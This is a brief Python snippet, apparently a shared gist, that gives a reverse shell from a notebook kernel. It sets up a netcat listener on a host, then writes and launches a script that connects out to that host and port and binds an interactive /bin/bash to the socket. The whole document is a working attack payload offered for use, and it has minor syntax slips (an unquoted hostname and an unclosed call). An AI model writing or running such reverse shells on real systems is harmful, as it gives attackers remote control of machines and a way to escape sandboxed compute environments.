kernel reverse shell python

kernel_reverse_shell.py

# On host run `nc -nvlp [PORT]`
# Then run this snippet in an internet-enabled kernel, and you will get interactive bash inside the kernel, on the host machine.
hostname = 0.0.0.0 # Hostname/IP of your server
port = 1337 # Port must be open

open('shell.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'.format(hostname, port)
import subprocess
subprocess.Popen(["python", "shell.py"])